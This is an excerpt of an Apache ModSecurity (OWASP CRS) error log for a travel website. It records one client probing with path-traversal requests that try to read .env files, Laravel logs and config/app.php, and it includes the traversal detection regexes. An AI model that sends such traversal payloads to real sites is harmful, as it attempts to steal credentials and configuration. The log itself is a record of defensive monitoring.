"OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.437170 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../../storage/logs/laravel.log&junk=vaggmgsgcidqpfewz3ut5oejqfa49iyvqgwfr58yfrmvgaymvas4rircvwfeu8pxqh-mbcjvuhta7qpz_4s_utzo1sgbhxab3zcolkac2p7dpd0nh4ojdqyzntegeviafcpg8q34iwscnsawyl-dv2pzxstaiymfghzokrd6q5r9jeddp75q_hqjddpnn_2yvwfu0frb9xnxrhvy0iq2fxgjpoq3huyrwpr7am0r0ijtboicw2wdx9tskywtlarb93odlszvdid1e8ff7bk2y1n4&ref=v6i2budpki2cblovfypnlgytaowv62or5v7u4x5sjoafnnh44h3tmgrctc4gvirfnzbcan3dkhcpkpuxib2hcov5saxlrtrpx2syn2cdh7zbhydsl5cupytwcshmkdsepv3..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.437208 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.437240 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.441575 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.441814 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.442306 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlJgAAAA0"]
[Fri Jul 17 08:55:07.485206 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUwAAABs"]
[Fri Jul 17 08:55:07.485257 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUwAAABs"]
[Fri Jul 17 08:55:07.486419 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUwAAABs"]
[Fri Jul 17 08:55:07.486565 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.486860 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBUwAAABs"]
[Fri Jul 17 08:55:07.506440 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6egAAABE"]
[Fri Jul 17 08:55:07.506482 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6egAAABE"]
[Fri Jul 17 08:55:07.507695 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6egAAABE"]
[Fri Jul 17 08:55:07.507831 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.508143 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6egAAABE"]
[Fri Jul 17 08:55:07.513974 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVAAAABs"]
[Fri Jul 17 08:55:07.514024 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVAAAABs"]
[Fri Jul 17 08:55:07.514148 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:source: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVAAAABs"]
[Fri Jul 17 08:55:07.520782 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVAAAABs"]
[Fri Jul 17 08:55:07.520963 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.521304 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBVAAAABs"]
[Fri Jul 17 08:55:07.525251 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28wAAACM"]
[Fri Jul 17 08:55:07.525294 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28wAAACM"]
[Fri Jul 17 08:55:07.526453 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28wAAACM"]
[Fri Jul 17 08:55:07.526564 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.526808 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasAAAAAo"]
[Fri Jul 17 08:55:07.526838 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:source: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasAAAAAo"]
[Fri Jul 17 08:55:07.526873 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt28wAAACM"]
[Fri Jul 17 08:55:07.527985 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasAAAAAo"]
[Fri Jul 17 08:55:07.528093 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.528362 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETasAAAAAo"]
[Fri Jul 17 08:55:07.530295 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?source=..%2F..%2Fconfig%2Fapp.php&debug=pWtOgHugtYtkSR3vMS34R0vdfn5-MhFpsr7o5Ho4qXzYDIMgTyZ6Vhtu-kukfAZTRjfWqXIYTKCHW3HMh4x6V91tWtxOao5BlJrui0g5xSiumsobeqgQzgIy1prAG8_UBJZntOQrjm-Ng_T3d0NCO1B-9eIJS6C7yyX8ut-QYR6S784CeUAcxdhETNmObjoH5EV0aYsGdCIknWW4nZ16-0K8fL-T8h-BRotoMP-UP0T-KMl1-oqUzRhDFmhpx7v2d8SISGPeFny5QYnAsZcwATWe&ts=NKRML2O25G5OQH6B4S4IHH2376VNOTWYIMPMGRPWAQHDDVGN24Y2YIH7GF7XAQB4YFFPUIVCCIS5IAYE43IVMSEFY2XPUXQKBWSSGT6OL3L53M4VMWV44EXQ4UPEWINYNA..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.530367 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.530470 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../config/app.php&debug=pWtOgHugtYtkSR3vMS34R0vdfn5-MhFpsr7o5Ho4qXzYDIMgTyZ6Vhtu-kukfAZTRjfWqXIYTKCHW3HMh4x6V91tWtxOao5BlJrui0g5xSiumsobeqgQzgIy1prAG8_UBJZntOQrjm-Ng_T3d0NCO1B-9eIJS6C7yyX8ut-QYR6S784CeUAcxdhETNmObjoH5EV0aYsGdCIknWW4nZ16-0K8fL-T8h-BRotoMP-UP0T-KMl1-oqUzRhDFmhpx7v2d8SISGPeFny5QYnAsZcwATWe&ts=NKRML2O25G5OQH6B4S4IHH2376VNOTWYIMPMGRPWAQHDDVGN24Y2YIH7GF7XAQB4YFFPUIVCCIS5IAYE43IVMSEFY2XPUXQKBWSSGT6OL3L53M4VMWV44EXQ4UPEWINYNAL5AO22M34BX5MU..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rQAAAAw"]
[Fri Jul 17 08:55:07.530517 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?source=../../config/app.php&debug=pwtoghugtytksr3vms34r0vdfn5-mhfpsr7o5ho4qxzydimgtyz6vhtu-kukfaztrjfwqxiytkchw3hmh4x6v91twtxoao5bljrui0g5xsiumsobeqgqzgiy1prag8_ubjzntoqrjm-ng_t3d0nco1b-9eijs6c7yyx8ut-qyr6s784ceuacxdhetnmobjoh5ev0aysgdciknww4nz16-0k8fl-t8h-brotomp-up0t-kml1-oquzrhdfmhpx7v2d8sisgpefny5qynaszcwatwe&ts=nkrml2o25g5oqh6b4s4ihh2376vnotwyimpmgrpwaqhddvgn24y2yih7gf7xaqb4yffpuivccis5iaye43ivmsefy2xpuxqkbwssgt6ol3l53m4vmwv44exq4upewinynal5ao22m34bx5mu..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] 